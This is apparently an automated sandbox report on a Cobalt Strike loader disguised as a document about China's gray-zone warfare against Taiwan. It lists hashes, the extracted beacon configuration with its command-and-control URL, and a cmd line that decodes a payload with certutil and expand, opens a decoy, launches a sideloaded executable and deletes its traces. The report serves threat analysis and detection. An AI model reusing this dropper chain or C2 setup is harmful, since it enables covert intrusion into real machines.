Overview
overview
10Static
static
1China's_gr...oc.lnk
windows7-x64
10China's_gr...oc.lnk
windows10-2004-x64
10China_paper.pdf.lnk
windows7-x64
10China_paper.pdf.lnk
windows10-2004-x64
10__MACOS/_p...cat.js
windows7-x64
10__MACOS/_p...cat.js
windows10-2004-x64
10__MACOS/_p...cat.js
windows7-x64
10__MACOS/_p...cat.js
windows10-2004-x64
10Analysis
- max time kernel
137s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system - submitted
19/07/2024, 12:30
Static task
static1
Behavioral task
behavioral1
Sample
China's_gray_zone_warfare_against_Taiwan.doc.lnk
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
China's_gray_zone_warfare_against_Taiwan.doc.lnk
Resource
win10v2004-20240709-en
Behavioral task
behavioral3
Sample
China_paper.pdf.lnk
Resource
win7-20240705-en
Behavioral task
behavioral4
Sample
China_paper.pdf.lnk
Resource
win10v2004-20240709-en
Behavioral task
behavioral5
Sample
__MACOS/_params.cat.js
Resource
win7-20240708-en
Behavioral task
behavioral6
Sample
__MACOS/_params.cat.js
Resource
win10v2004-20240709-en
Behavioral task
behavioral7
Sample
__MACOS/_params2.cat.js
Resource
win7-20240704-en
General
- Target China's_gray_zone_warfare_against_Taiwan.doc.lnk
- Size 1.4MB
- Sample240719-ppn5ba1dpn
- SHA256 2fa270cf83b341bc469b0d4430d2b5c3e95109b4b47f4f99c9e878aeaff8ec33
- MD5 6f7d85c196c277a6a619f6d94b8f69b9
- SHA1 530c0833454ca14c01af28961239cb07f783d977
- SHA512 6bf3761c2157957d5f3349864b4905cf5f2d12f4aa1a78b5aa899de4e9a57544dabcafaf204443f2a85ca2041c94f3ecc95818445885b959b7fbf0bbd2a26f41
- SSDEEP 24576:yfxwTgCX64xkh3Rj8PVWNvBIIqZGjEbiyiqWwwwDT2VmpoovXoHDImimX6fTG5XF:4
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
cobaltstrike
-
100000000
-
http://upserver.updateservice.store:443/common.html
-
access_type
512
-
beacon_type
2048
-
host
upserver.updateservice.store,/common.html
-
http_header1
AAAAEAAAACJIb3N0OiB1cHNlcnZlci51cGRhdGVzZXJ2aWNlLnN0b3JlAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAcAAAAAAAAACwAAAAMAAAACAAAAA2x1PQAAAAYAAAAGQ29va2llAAAACQAAAAt2ZXJpZnk9dHJ1ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_header2
AAAAEAAAACJIb3N0OiB1cHNlcnZlci51cGRhdGVzZXJ2aWNlLnN0b3JlAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAvQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQAAAAHAAAAAQAAAAMAAAADAAAAAgAAAAhhdXRob3JzPQAAAAQAAAAHAAAAAAAAAAMAAAACAAAADl9fc2Vzc2lvbl9faWQ9AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_method1
GET
-
http_method2
POST
-
jitter
9472
-
polling_time
58666
-
port_number
443
-
sc_process32
%windir%\syswow64\svchost.exe
-
sc_process64
%windir%\sysnative\svchost.exe
-
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdQ5nVpJ13O9CwiQRtLOdTAwGg6oj4mvtVqZvCbSy9YyU3ngZSDBgmWjSMwrTqMvvKUr5RvigK1N00xTGT4LVtDESUaUvyGU79G24yPaF5rUOJjnAIRazosjB87DvXbI6k45HQsVyZD7wgEXnKFmv3E0Tk9ti5G0eVOKL5tqdS5QIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
unknown1
6.1158912e+08
-
unknown2
AAAABAAAAAIAAAJYAAAAAwAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
uri
/r-arrow
-
user_agent
Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)
-
watermark
100000000
Signatures
- Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation cmd.exe - Executes dropped EXE 1 IoCs
pid Process 3412 pfexec.exe - Loads dropped DLL 1 IoCs
pid Process 3412 pfexec.exe - Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\LOGS\DPX\setupact.log expand.exe File opened for modification C:\Windows\LOGS\DPX\setuperr.log expand.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000_Classes\Local Settings cmd.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 860 WINWORD.EXE 860 WINWORD.EXE - Suspicious use of SetWindowsHookEx 18 IoCs
pid Process 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE 860 WINWORD.EXE - Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 4304 wrote to memory of 3296 4304 cmd.exe 85 PID 4304 wrote to memory of 3296 4304 cmd.exe 85 PID 4132 wrote to memory of 4100 4132 explorer.exe 89 PID 4132 wrote to memory of 4100 4132 explorer.exe 89 PID 4100 wrote to memory of 232 4100 WScript.exe 91 PID 4100 wrote to memory of 232 4100 WScript.exe 91 PID 232 wrote to memory of 1432 232 cmd.exe 93 PID 232 wrote to memory of 1432 232 cmd.exe 93 PID 232 wrote to memory of 808 232 cmd.exe 94 PID 232 wrote to memory of 808 232 cmd.exe 94 PID 232 wrote to memory of 512 232 cmd.exe 95 PID 232 wrote to memory of 512 232 cmd.exe 95 PID 232 wrote to memory of 860 232 cmd.exe 96 PID 232 wrote to memory of 860 232 cmd.exe 96 PID 232 wrote to memory of 3412 232 cmd.exe 98 PID 232 wrote to memory of 3412 232 cmd.exe 98 PID 232 wrote to memory of 3412 232 cmd.exe 98
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\China's_gray_zone_warfare_against_Taiwan.doc.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4304 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe" __MACOS\_params.cat.js2⤵PID:3296
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4132 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\__MACOS\_params.cat.js"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4100 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c findstr 4d534346 C:\Users\Admin\AppData\Roaming\gmhqKH.tmp > C:\Users\Admin\AppData\Roaming\wnMKDE.tmp&for /r c:\windows\system32\ %i in (*ertu*.exe) do %i -decodehex C:\Users\Admin\AppData\Roaming\wnMKDE.tmp C:\Users\Admin\AppData\Roaming\YuHSWb.tmp&expand -F:* C:\Users\Admin\AppData\Roaming\YuHSWb.tmp C:\Users\Admin\AppData\Roaming\&start C:\Users\Admin\AppData\Roaming\China's_gray_zone_warfare_against_Taiwan.doc&start C:\Users\Admin\AppData\Roaming\pfexec.exe&del C:\Users\Admin\AppData\Roaming\gmhqKH.tmp C:\Users\Admin\AppData\Roaming\wnMKDE.tmp C:\Users\Admin\AppData\Roaming\YuHSWb.tmp3⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:232 -
C:\Windows\system32\findstr.exefindstr 4d534346 C:\Users\Admin\AppData\Roaming\gmhqKH.tmp4⤵PID:1432
-
-
\??\c:\windows\system32\certutil.exec:\windows\system32\certutil.exe -decodehex C:\Users\Admin\AppData\Roaming\wnMKDE.tmp C:\Users\Admin\AppData\Roaming\YuHSWb.tmp4⤵PID:808
-
-
C:\Windows\system32\expand.exeexpand -F:* C:\Users\Admin\AppData\Roaming\YuHSWb.tmp C:\Users\Admin\AppData\Roaming\4⤵
- Drops file in Windows directory
PID:512
-
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\China's_gray_zone_warfare_against_Taiwan.doc" /o ""4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:860
-
-
C:\Users\Admin\AppData\Roaming\pfexec.exeC:\Users\Admin\AppData\Roaming\pfexec.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3412
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\TCDE09F.tmp\sist02.xsl
- Size 245KB
- SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
- MD5 f883b260a8d67082ea895c14bf56dd56
- SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
- SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
- SSDEEP 6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\China's_gray_zone_warfare_against_Taiwan.doc
- Size 75KB
- SHA256 156eec85df18e7ff992a5bf35c97938557ac506c2306a8cb6633602d8a6568ed
- MD5 16578aeab36f8c8f72d1a858ec21fd9c
- SHA1 78f2d46da970d00033a483d0098ba9e106694321
- SHA512 7e5171f365ea40e095dc6431a7598baeca21b46a52ca53a56e8124c4b41b6f3fd6f8f2afc0cf4db6b30da5a71e72a3451c53074681ed0cc5893db4fbf8f6a6e9
- SSDEEP 768:Ltwiwp2CLsNgrnt7GcQ3/JGk8oBX3WJ3mF0z3wrtwcFwDdxz99:LtNCINmGcQ3Rh8+X3WJWF0z3wqcSDd3
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
- Size 431B
- SHA256 f698c343ddd4d380f3e5df57ebc2389bef035f6667f1be6069e57bd234267911
- MD5 dd52ce778acd75d45ce6628ea4c688c5
- SHA1 e581380c409a7cec1743a5a6dd0425a9a497fb65
- SHA512 53f1b35cd3c76127152aa198926ffadb1666cf8265e86e4d47b6a650752b99104015fdeee709807f8a94ab1fbf47a9bfa7541173742b8ca2cc77ff74d4fea2d4
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
- Size 3KB
- SHA256 58c9585e316ca2780b38259b36fc43b7ba5e4884f701ad933480af6e37a6c1eb
- MD5 8d9ffd8225621e41e71a83f2204a1486
- SHA1 284c37e97ebf5f652da007101407918ed9c49d83
- SHA512 a4096c288636f79fad1843379ac3848e0e899ffdcc18331238faebc32e02e71999594049d05f7727a67b7cef1cd7e980022bf2fa71c7d470248083bd64927ddd
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
- Size 4KB
- SHA256 d55d2d470fc657392d27e150751c1f7a010b976efe53cc1fce5666b4fdc26044
- MD5 765aa9d315d7814e26a6178501b076b5
- SHA1 8802190d6f6eb0ca3739e3524fb80951bc570898
- SHA512 7c242df8fd9b2caad9683124e7597ee8f1a25d4501a73fa5a1d92b4302d3d382ccaa0299de4a42f3944f28e7c5cd8fb386b6ba18f181b6ea0b26305978ee4a9e
- SSDEEP 96:UBPHlFglz/HR9T4ZRzlmphgg9pZRERmsBRSmwWfRRBl:UBPHlw/x9khmbgg91smyjp5Rv
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\chrome_elf.dll
- Size 221KB
- SHA256 fb6b0ff2da14b6447b21f0fc4ae73724667c8f6d296d707f18a28633b4e59ed0
- MD5 4f265905d3adad5c9e0d0aa250849404
- SHA1 c147c8646a34ae54e4bdbfaffdf44848b78c209f
- SHA512 adddbcf8e5b9bc64fe6663911854d37f8dd586cef2dac8749c14faa554e74943021fa340624f49cf8854f70eb159faa9a12570d04d1ffe9686a1abebc8909398
- SSDEEP 6144:a4kJ/qGca8YZjXm2sohzD21knwglLz2tMLzitT3f:eqGzjXm2siqynwgdz2WLzi9
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\gmhqKH.tmp
- Size 1.4MB
- SHA256 9afb6689a659f6b963d5273bab3bc7bddde88d8a00f5ee12eebffe1926b650c8
- MD5 05d9845ccaa230a1f69c75b4ef0e74e3
- SHA1 b0acfc3e20e14c6d444e879a6a3e54bff72df005
- SHA512 0ddaa8676b788f7ac79a477bf4707ea05207a12fa4b37f3898bef4f624ceea45cd16b1bd5b29ec9de9274814725cebb793feb63551d8a62b8172efd8d6595b5c
- SSDEEP 24576:bfxwTgCX64xkh3Rj8PVWNvBIIqZGjEbiyiqWwwwDT2VmpoovXoHDImimX6fTG5Xc:+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\pfexec.exe
- Size 1.0MB
- SHA256 2c9193641261c691300cff1d18f149126036da623b475dfc36fde27fca102b91
- MD5 f44d91b5ada6238eb2d6e619163cc62a
- SHA1 66ef3d305e393c9b4f6bae7f418d4f7fb537ce4d
- SHA512 edea071c90ec67b47ecee3b9913bab4f31bab2f36a4e397a0df801e4034306a77806bf0cb3cfeb1ba5b4272e737eba7ddfcdaf29bf749d0bfdf10cf0c8a329f1
- SSDEEP 12288:Mhl2WxEAiGRklbSwZ4llEFEK3AbHjmM2HdaZJrQCNWK4KHFeMdMZW6tq2oZsErrc:6l2VN4lpFFcChMZW6tqzZ7XrP3I2JpS
- MD5 SHA1 SHA512 SSDEEP
- Path \??\c:\users\admin\appdata\roaming\yuhswb.tmp
- Size 741KB
- SHA256 2fe53a6d753eb0e288b0e514b5668ed13749227da65cd346c144c0cf8e438974
- MD5 2f9c9af52d5a3c25363bb288fa997f21
- SHA1 0d1a1bf7f13f16ba38fe96cbf22f06b0e38edf19
- SHA512 a8e6cc507d9d6a2477b153dc2ebac284b4125ca9ee54d7484cf9bb5b36393b2747681b30b53d5a4fe47d152a23f60a50de72a1a313048cf90dd21a4ddc591924
- SSDEEP 12288:lh5vSW+hDwS8Nn0NlpDnBHauPOBmIOAxcvWIpnMbhuDlWpHIqMRKbet:lLGUSyn09tHauPOQXAxcuIlMbh4WFIqW
- MD5 SHA1 SHA512 SSDEEP